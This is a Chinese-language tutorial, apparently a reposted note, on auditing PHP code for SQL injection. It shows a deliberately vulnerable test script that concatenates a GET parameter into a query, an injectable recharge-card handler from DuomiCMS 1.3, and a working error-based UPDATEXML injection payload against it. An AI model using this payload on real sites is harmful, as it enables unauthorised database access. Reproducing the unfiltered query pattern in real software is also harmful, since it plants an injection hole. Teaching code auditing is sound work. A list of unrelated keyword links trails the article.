PHP代码审计SQL注入篇
发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,什么是SQL注入SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶
千家信息网最后更新 2025年01月20日PHP代码审计SQL注入篇
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
来自为知笔记(Wiz)
什么是SQL注入
SQL注入***(SQL Injection),简称注入***,是Web开发中最常见的一种安全漏洞。可以用它来从数据库获取敏感信息,或者利用数据库的特性执行添加用户,导出文件等一系列恶意操作,甚至有可能获取数据库乃至系统用户最高权限。
而造成SQL注入的原因是因为程序没有有效过滤用户的输入,使***者成功的向服务器提交恶意的SQL查询代码,程序在接收后错误的将***者的输入作为查询语句的一部分执行,导致原始的查询逻辑被改变,额外的执行了***者精心构造的恶意代码。
SQL注入实例
很多Web开发者没有意识到SQL查询是可以被篡改的,从而把SQL查询当作可信任的命令。殊不知,SQL查询是可以绕开访问控制,从而绕过身份验证和权限检查的。更有甚者,有可能通过SQL查询去运行主机系统级的命令。
下面将通过一些真实的例子来详细讲解SQL注入的方式。
测试代码如下:
php
$uid=$_GET['id'];
$sql="SELECT * FROM userinfo where id=$uid";
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn);
$result=mysql_query($sql,$conn);
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result));
?>
$uid=$_GET['id']; //获取GET值
$sql="SELECT * FROM userinfo where id=$uid"; //执行SQL语句
$conn=mysql_connect ('localhost','root','root');
mysql_select_db("sql",$conn); //数据库配配置
$result=mysql_query($sql,$conn); //进行查询SQL语句
print_r('当前SQL语句: '.$sql.'
结果: ');print_r(mysql_fetch_row($result)); //进行打印输出没有任何的过滤所以利用简单的SQL注入语句就可以直接查询相关需要的信息。
另外一个多米CMS最新版1.3版本注入实例。漏洞文件member/mypay.php(14-40行)
if(empty($_SESSION['duomi_user_id'])){
showMsg("请先登录","login.php");
exit();
}
elseif($dm=='mypay'){
$key=$_POST['cardkey'];
if($key==""){showMsg("请输入充值卡号","-1");exit;}
$pwd=$_POST['cardpwd'];
if($pwd==""){showMsg("请输入充值卡密码","-1");exit;}
$sqlt="SELECT * FROM duomi_card where ckey='$key'";
$sqlt="SELECT * FROM duomi_card where cpwd='$pwd'";
$row1 = $dsql->GetOne($sqlt);
if(!is_array($row1) OR $row1['status']<>0){
showMsg("充值卡信息有误","-1");exit;
}else{
$uname=$_SESSION['duomi_user_name'];
$points=$row1['climit'];
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE ckey='$key'");
$dsql->executeNoneQuery("UPDATE duomi_card SET usetime=NOW(),uname='$uname',status='1' WHERE cpwd='$pwd'");
$dsql->executeNoneQuery("UPDATE duomi_member SET points=points+$points WHERE username='$uname'");
showMsg("恭喜!充值成功!","mypay.php");exit;
}
}
else
{
此处的"cardpwd"变量没有进行过滤就以POST提交方式传入了数据库造成注入。 构造POC如下(注意此处需要注册用户并且登陆详情请看该文件1-17行):
http://localhost/member/mypay.php?dm=mypay
POST:cardpwd=-1' AND (UPDATEXML(1,CONCAT(0x7e,(USER()),0x7e),1)) and '1'='1
来自为知笔记(Wiz)
查询
语句
数据
数据库
用户
代码
输入
信息
恶意
文件
成功
命令
实例
方式
权限
漏洞
程序
系统
结果
充值卡
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
数据库启动项提权
服务器车乱放怎么办
武昌理工学院网络技术怎么样
四川语音网络技术服务推广
监控提示硬盘数据库发生错误
四川系统软件开发哪家好
软件开发公司核心岗位有哪些
数据库模型主要有四种
手机网络安全对照检查部队
微软网络安全工程师课程
网络安全实验 哈工程
软件开发ut报告内容
网络安全工程师深圳
停电期间网络安全注意事项
互联网科技基金最新款
广西数字化城管软件开发电话
为什么qq总提示服务器超时
财政管理的服务器IP
psa网络安全
软件开发是流水线么
点播服务器登录失败毛毛虫
汉南软件开发多少钱
linux服务器默认网卡
ipfs服务器配置咨询电话
什么是服务器类型硬盘
如何查看数据库表的关系图
互联网未来黑科技
q绑手机数据库
网络安全泄露指纹
acs数据库有中文吗